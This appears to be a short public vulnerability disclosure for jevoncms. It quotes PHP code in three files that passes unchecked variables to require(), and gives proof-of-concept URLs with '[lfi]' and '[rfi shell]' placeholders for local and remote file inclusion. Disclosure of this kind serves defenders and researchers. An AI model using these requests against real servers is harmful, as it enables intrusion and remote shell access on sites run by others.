jevoncms (LFI/RFI) Multiple Vulnerabilities

########################################################
jevoncms (LFI/RFI) Multiple Vulnerabilities
########################################################

[+]Title : jevoncms (libdir) Multiple Vulnerability
[+]Version: -
[+]Download: http://sourceforge.net/projects/jevoncms/files/
[+]Author: eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com

    [!]Thank`s To: all friends

########################################################

    -=[ Vuln C0de ]=-

[-] jevoncms/php/main/jevoncms.php

$_PHPLIB["libdir"] = "phplib/";
require($_PHPLIB["libdir"] ."template.inc"); /* Disable this, if you are not using templates. */
require("template/jvc_template.php");
require("php/main/database/jvc_Database.php");

[-] jevoncms/php/main/template/jvc_template.php

if($type!=$lasttype && $type!=''){
$path= "php/".$type."/".$type.".php" ;
// echo $path;
require($path);

[-] jevoncms/php/menu/menu.php

//require($_PHPLIB["libdir"] ."template.inc"); /* Disable this, if you are not using templates. */

    -=[ Proof Of Concept ]=-


    http://127.0.0.1/jevoncms/php/main/jevoncms.php?libdir=[lfi]

    http://127.0.0.1/jevoncms/php/main/template/jvc_template.php?path= [rfi shell]

    http://127.0.0.1/jevoncms/php/menu/menu.php?libdir=[lfi]

######################=[E0F]=#############################